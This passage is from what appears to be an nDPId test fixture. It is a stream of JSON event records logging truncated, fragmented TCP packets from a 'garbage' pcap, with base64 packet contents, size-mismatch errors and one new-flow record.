-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132682} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132694} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132706} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132719} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132731} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132746} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132759} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132771} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132783} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132795} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132810} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132822} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132834} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132846} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132858} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132870} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132882} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132894} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132909} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132960} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132968} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132976} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132984} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027132991} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244027133001} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":2817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkdSP3NSPzc0"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244027433145,"flow_src_last_pkt_time":1534244027433145,"flow_dst_last_pkt_time":1534244027433145,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244027433145,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":14387,"dst_port":14646,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_src_last_pkt_time":1534244027433145,"flow_dst_last_pkt_time":1534244027433145,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAjgzOTYpKComXiUkI0AhQCMkIQAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433213} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433223} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433232} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433278} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433285} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433293} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433301} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433309} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433326} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433335} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433348} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":2829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433359} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433375} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433477} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433487} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433495} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027433525} 